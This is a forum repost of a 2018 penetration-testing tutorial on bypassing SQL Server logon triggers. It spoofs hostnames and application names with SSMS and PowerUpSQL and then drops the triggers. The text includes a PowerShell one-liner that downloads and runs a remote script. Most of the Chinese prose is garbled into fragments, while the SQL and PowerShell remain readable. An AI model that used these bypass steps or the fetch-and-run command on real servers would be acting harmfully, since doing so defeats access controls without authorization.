[12949] 2018-07-15_绕过SQLServer的登录触发器限制

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-18
2018-07-15_绕过SQLServer的登录触发器限制 S Q L   S e r v e r s e c i s t   F r e e B u f   2 0 1 8 - 0 7 - 1 5 S Q L   S e r v e r S Q L   S e r v e r S S M S P o w e r U p S Q L L O G O N   S Q L   S e r v e r     P R I N T S Q L   S e r v e r   S Q L   S e r v e r S Q L   S e r v e r 1 . S Q L   S e r v e r 2 . S Q L   S e r v e r   M a n a g e m e n t   S t u d i o   E x p r e s s S S M S 访 1 . 使 S S M S s y s a d m i n S Q L   S e r v e r 2 . 使 S Q L   s e r v e r S Q L S e r v e r S E L E C T   H O S T _ N A M E ( )
3 . 4 . 使 S S M S - -   C r e a t e   o u r   l o g o n   t r i g g e r C R E A T E   T R I G G E R   M y H o s t s O n l y O N   A L L   S E R V E R F O R   L O G O N A S B E G I N         I F         (                 - -   W h i t e   l i s t   o f   a l l o w e d   h o s t n a m e s   a r e   d e f i n e d   h e r e .                 H O S T _ N A M E ( )   N O T   I N   ( ' P r o d B o x ' , ' Q a B o x ' , ' D e v B o x ' , ' U s e r B o x ' )         )         B E G I N                 R A I S E R R O R ( ' Y o u   a r e   n o t   a l l o w e d   t o   l o g i n   f r o m   t h i s   h o s t n a m e . ' ,   1 6 ,   1 ) ;                 R O L L B A C K ;         E N D   E N D
使 使 S S M S 使 使 使 S Q L   S e r v e r 1 . S S M S C o n n e c t   O b j e c t   E x p l o r e r A d d i t i o n a l   C o n n e c t i o n   P a r a m e t e r s W o r k s t a t i o n   I D D e v B o x 2 . c o n n e c t D e v B o x S E L E C T   H O S T _ N A M E ( )
使 使 S S M S 使 w o r k s t a t i o n   i d W i n d o w s S Q L   S e r v e r M a s t e r f a i l e d   t o   c o n n e c t   W o r k s t a t i o n   I D 使 使 P o w e r U p S Q L P o w e r U p S Q L G e t - S Q L Q u e r y W o r k s t a t i o n I d 1 . P o w e r s h e l l 使 P o w e r U p S Q L G i t H u b P o w e r U p S Q L 2 .   - R e t u r n E r r o r D a t a   S o u r c e = s e r v e r i n s t a n c e 1 ; I n i t i a l   C a t a l o g = M a s t e r ; I n t e g r a t e d   S e c u r i t y = T r u e ; D a t a   S o u r c e = s e r v e r i n s t a n c e 1 ; I n i t i a l   C a t a l o g = M a s t e r ; I n t e g r a t e d   S e c u r i t y = T r u e ; W o r k s t a t i o n   I D   =   D e v B o x ; I E X ( N e w - O b j e c t   S y s t e m . N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( " h t t p s : / / r a w . g i t h u b u s e r c o n t e n t . c o m / N e t S P I / P o w e r U p S Q L / m a s t e r / P o w e r U p S Q L . p s 1 " ) G e t - S Q L Q u e r y   - V e r b o s e   - I n s t a n c e   M S S Q L S R V 0 4 S Q L S E R V E R 2 0 1 4   - Q u e r y   " S E L E C T   h o s t _ n a m e ( ) "   - R e t u r n E r r o r
3 . w o r k s t a t i o n i d D e v B o x 4 . 访 1 . 使 S S M S s y s a d m i n S Q L   S e r v e r 2 . 使 S Q L   S e r v e r M i c r o s o f t   S Q L   S e r v e r   M a n a g e m e n t   S t u d i o     Q u e r y 3 . G e t - S Q L Q u e r y   - V e r b o s e   - I n s t a n c e   M S S Q L S R V 0 4 S Q L S E R V E R 2 0 1 4   - Q u e r y   " S E L E C T   h o s t _ n a m e ( ) "   - W o r k s t a t i o n I d   " D e v B o x " G e t - S Q L Q u e r y   - V e r b o s e   - I n s t a n c e   M S S Q L S R V 0 4 S Q L S E R V E R 2 0 1 4   - W o r k s t a t i o n I d   " D e v B o x "   - Q u e r y   ' D R O P   T R I G G E R   M y H o s t s O n l y   o n   a l l   s e r v e r ' S E L E C T   A P P _ N A M E ( )
4 . 使 S S M S 使 使 S S M S 使 S Q L   S e r v e r 使 访 1 . S S M S C o n n e c t   O b j e c t   E x p l o r e r A d d i t i o n a l   C o n n e c t i o n   P a r a m e t e r s   a p p l i c a t i o n   n a m e S u p e r A p p 3 0 0 0 C R E A T E   T R I G G E R   M y A p p s O n l y O N   A L L   S E R V E R F O R   L O G O N A S B E G I N           I F           (                     - -   S e t   t h e   w h i t e   l i s t   o f   a p p l i c a t i o n   n a m e s   h e r e                     A P P _ N A M E ( )   N O T   I N   ( ' A p p l i c a t i o n 1 ' , ' A p p l i c a t i o n 2 ' , ' S u p e r A p p 3 0 0 0 ' , ' L e g a c y A p p ' , ' D e v A p p 1 ' )           )           B E G I N                     R A I S E R R O R ( ' Y o u   a r e   n o t   a l l o w e d   t o   l o g i n   f r o m   t h i s   a p p l i c a t i o n   n a m e . ' ,   1 6 ,   1 ) ;                     R O L L B A C K ;           E N D E N D
2 . c o n n e c t S u p e r A p p 3 0 0 0 使 使 A p p N a m e 使 S Q L   S e r v e r S E L E C T   A P P _ N A M E ( )
使 使 P o w e r U p S Q L P o w e r U p S Q L G e t - S Q L Q u e r y 使 a p p n a m e 1 . P o w e r s h e l l 使 P o w e r U p S Q L G i t H u b P o w e r U p S Q L 2 . P o w e r U p S Q L . N E T   S Q L   S e r v e r 使 . N E T S Q L   S e r v e r a p p n a m e . N e t   S q l C l i e n t   D a t a   P r o v i d e r a p p n a m e 访 3 . a p p n a m e S u p e r A p p 3 0 0 0 4 . 5 . D a t a   S o u r c e = s e r v e r i n s t a n c e 1 ; I n i t i a l   C a t a l o g = M a s t e r ; I n t e g r a t e d   S e c u r i t y = T r u e ;     A p p l i c a t i o n   N a m e   = M y A p p " D a t a   S o u r c e = s e r v e r i n s t a n c e 1 ; I n i t i a l   C a t a l o g = M a s t e r ; I n t e g r a t e d   S e c u r i t y = T r u e ;     A p p l i c a t i o n N a m e   = M y A p p " D a t a   S o u r c e = s e r v e r i n s t a n c e 1 ; I n i t i a l   C a t a l o g = M a s t e r ; I n t e g r a t e d   S e c u r i t y = T r u e ;     A p p N a m e   = M y A p p " I E X ( N e w - O b j e c t   S y s t e m . N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( " h t t p s : / / r a w . g i t h u b u s e r c o n t e n t . c o m / N e t S P I / P o w e r U p S Q L / m a s t e r / P o w e r U p S Q L . p s 1 " ) G e t - S Q L Q u e r y   - V e r b o s e   - I n s t a n c e   M S S Q L S R V 0 4 S Q L S E R V E R 2 0 1 4   - Q u e r y   " S E L E C T   a p p _ n a m e ( ) "   - R e t u r n E r r o r G e t - S Q L Q u e r y   - V e r b o s e   - I n s t a n c e   M S S Q L S R V 0 4 S Q L S E R V E R 2 0 1 4   - Q u e r y   " S E L E C T   a p p _ n a m e ( ) "   - A p p N a m e   S u p e r A p p 3 0 0 0 G e t - S Q L Q u e r y   - V e r b o s e   - I n s t a n c e   M S S Q L S R V 0 4 S Q L S E R V E R 2 0 1 4   - A p p N a m e   S u p e r A p p 3 0 0 0   - Q u e r y   ' D R O P   T R I G G E R   M y A p p s O n l y   o n   a l l   s e r v e r ' G e t - S Q L Q u e r y   - V e r b o s e   - I n s t a n c e   M S S Q L S R V 0 4 S Q L S E R V E R 2 0 1 4     - Q u e r y   ' S E L E C T   A P P _ N A M E ( ) '
6 . 1 .   访 G e t - S Q L Q u e r y   - V e r b o s e   - I n s t a n c e   M S S Q L S R V 0 4 S Q L S E R V E R 2 0 1 4   - A p p N a m e   E v i l C l i e n t   - Q u e r y   ' S E L E C T   A P P _ N A M E ( ) ' S E L E C T         n a m e , O B J E C T _ D E F I N I T I O N ( O B J E C T _ I D )   a s   t r i g g e r _ d e f i n i t i o n , p a r e n t _ c l a s s _ d e s c , c r e a t e _ d a t e , m o d i f y _ d a t e , i s _ m s _ s h i p p e d , i s _ d i s a b l e d F R O M   s y s . s e r v e r _ t r i g g e r s     O R D E R   B Y   n a m e   A S C
2 . . N E T J a v a 使 访 J D - G U I D N S P Y 3 . 使 ?   4 . 使 使 A c t i v e   D i r e c t o r y S Q L   S e r v e r 5 . 使 使 M I T M A R P M I T M S Q L   S e r v e r S Q L   S e r v e r   2 0 1 4 使 M I T M 使 使 S Q L   S e r v e r 访 使 访 使 访 S Q L   S e r v e r 访 使
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则